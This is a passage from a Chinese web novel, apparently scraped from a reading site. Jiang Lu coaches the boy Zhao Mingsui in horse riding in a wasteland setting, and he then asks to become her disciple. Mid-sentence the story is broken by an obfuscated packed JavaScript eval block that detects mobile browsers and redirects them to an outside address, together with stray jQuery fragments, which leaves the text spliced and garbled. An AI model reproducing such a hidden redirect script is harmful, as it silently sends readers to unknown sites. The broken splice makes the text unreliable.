所以，刚才老师并没有全程跟着自己？


    几乎是刚想到这里，他极力压制，还是控制不住的慌张起来。


    青叶立刻被他影响，小跑的动作变得凌乱而焦躁。


    青叶一乱，赵明岁就更慌。


    恶性循环之下，赵明岁翻了。


    姜麓早就做好他出意外的准备，两边本来就已经没多少距离，旋风一个跪冲，在一片惊呼声中，小少年侧翻进姜麓怀里，肚子被马背顶的想吐。


    姜麓低头看他：“没出息，慌什么，刚刚没有我陪着，不也全程顺顺利利跑完？”


    旋风喷气甩头，发出驴叫般的嘲笑声。


    惊恐散去，理智回归。


    赵明岁低下头，将脸埋在马腹上，没脸见人了。


    放到前世，姜麓这种真不适合当这种危险运动的老师，会被家长投诉死，甚至可能会被群殴。


    但放到废土刚好，危险的时候场外的人焦急，等没事了，大家安心了，没一个因为差点出事的是个孩子而情绪激动骂人的。


    别说是这些外人，就算赵家人知道，也不觉有什么，认为这是姜麓对赵明岁很上心。


    还有四十分钟左右，原本姜麓想要让赵明岁休息会儿，但补课费可不会休息，租马费也不会给休息时间。


    姜麓让赵明岁坐正：“我带着你冲几圈，你提前感受一下，顺便也休息休息，冲几圈后继续练习。”


    赵明岁松口气：“是，老师。”


    终于可以放开了奔跑，旋风激动极了，四蹄迈开了冲，周围风景快速闪过，连什么轮廓都看不清。


    风打在脸上，挺疼，但更多的是激动、快乐。


    小少年从未感受过这种刺激与激情，没忍住，大声喊叫起来。


    场外，无数人听着他喊声中的兴奋和畅快，呆呆的看着旋风越跑越快，越跑越快。


    马背上的一大一小稳如泰山，丝毫不见有一点狼狈。


    跑完四圈，姜麓叫停，旋风速度越来越慢，等停下来的时候，大口喘息着。


    旋风已经很久没有跑过这么尽兴了。


    姜麓顾忌着旋风的年纪，又背负着两个人，不然还能再跑十圈。


    接下来，赵明岁再骑上青叶，已经不需要姜麓随时随刻跟在身边，他仿佛突然开了窍，不管是慢走，还是小跑都变得轻松而熟练，在外人看来状态游刃有余，仿佛和之前那个因为上了高头大马而惊慌失措的是两个人。


    姜麓在旁边带着旋风慢跑，给旋风调状态，过了会儿，旋风才恢复不少，不再像刚才那么急喘气。


    它亲热的仰头想蹭她手，蹭不到，驴叫两声，带着她像个街溜子似的四处溜达。


    要不是姜麓还得盯着点赵明岁，否则还真要被旋风带着去别的场地。


    后面半小时，赵明岁骑马越来越顺畅，姜麓心里那点小嫌弃终于消失。


    嗯，这才像样。


    九点，补课结束，马场里的人愈发稀少。


    赵明岁下马的时候，腿都是软的。


    不是吓的，纯粹就是兴奋过度，加上训练过度。


    姜麓在一边扶了一把，将人扶到长椅上，递过去一瓶矿泉水。


    矿泉水是刚刚她在马场买的，马场内的矿泉水价格和外面商铺一样，姜麓买了两瓶，自己那瓶已经喝完一半。


    赵明岁拧瓶盖，没拧动，手指也软了。


    姜麓拧开递过去，赵明岁还有点不好意思，急急喝了好几口，才缓过来点。


    “时间差不多了，就回……”


    “噗通”


    姜麓的话没说完，就被赵明岁跪下的举动给吓得差点呛住。


    她已经忘了拜师的事情，以为他还腿软，伸手就要去扶人：“腿软就别动，歇会儿再走也不急。”


    赵明岁避开姜麓的搀扶，举着不知道什么时候拿到手里的拜师礼给姜麓磕头：“老师，您能当我的老师吗，我想当您一辈子的学生！”


    小少年连点好听的话都不会说，满满都是朴素的心愿和渴盼。


    姜麓看看磕在地上的小少年，又看看他手里的拜师礼，她想起来了，哦，还有拜师这件事儿。


    放在半小时前，姜麓本来是不纠结了的，她打算要是赵明岁提起来，自己就直接拒绝。


    但这最后半个小时的训练结果看来，赵明岁好像并没有她想象中那么笨，反而还有点点聪明，属于笨鸟先飞的类型。


    至少最后半个小时，他的练习越来越亮眼，再也没有时不时翻倒来吓唬姜麓了。


    但总跪在地上也不是一回事儿，天地亲师，她哪个身份都不是。


    何况，她也没准备引途礼。


    思忖片刻，姜麓还是将人扶起来：“明岁，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16292515|178965||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我之前没想过要收徒，这对我来说太突然了，我一点准备都没有。”


    赵明岁眼睛亮的快赶上刚被牵回去的旋风了：“那老师现在可以想想，我不急。”


    “我就想拜您当老师，别的都不要！”


    赵明岁说的真话，这个想法前所未有的强烈。


    或许是见过了最让他惊艳的老师，日后再看其他骑御师，他总会想起姜麓，总觉得谁都不如姜麓厉害。


    姜麓怔怔。


    但她还是摇头：“拜师礼你先拿回去，等我想好再说，好吗？”


    虽然这话听着震撼又感动，但姜麓不受道德绑架。


    这不是普通家教，也不是普通老师，而是收徒，比前世研究生选导师还要严肃的事情。


    不管再感动，再为难，她也要自己想清楚了，真心想收才会同意。


    别的什么都不能左右她的决定。


    赵明岁有点难过，又很快恢复正常，他点头：“嗯，老师，我等您！”


    这小孩儿……


    像火象快乐小狗。


    场外，吴老师怔怔看着，半晌，摇头叹息。


    赵明岁的后半场训练亮眼惊艳，只可惜，他还是错过了。


    他深深看了眼姜麓的背影，转头离开。


    他服气了。


    “吴老师，您还没走呢，我都收拾完了。”


    最后走的学生冲他挥手，吴老师快步跟上：“一起走吧。”


    他一天接十个学生，晚上晚自习两个多小时，一批五个，每批只补课一小时。


    要是觉得不够，不差钱的学生双休日白天就会选择多练习几个小时补足。


    姜麓先送孩子回学校大门口，等看着小少年跟进监狱似的被保安关进大门，姜麓才放心离开。


    打一辆无人驾驶出租车回家，天已经黑透，车内没有空调，她开着车窗，开着外面的风景……


    好吧，没有风景，一离开学区范围，路上除了一盏盏隔得很远的昏暗路灯之外，店铺全部关闭，路灯只微微照亮了那些店铺紧紧关闭的卷帘门，卷帘门下方绕着一串串厚重的铁链和大锁头。


    路上并不是一个人都没有，相反，不少。


    上空飞艇如永久静立沉默俯视着陆地上的腐烂，一道道交错的强光光束缓缓扫过地面，照亮一处处黑暗中无法呈现在光明下的阴霾。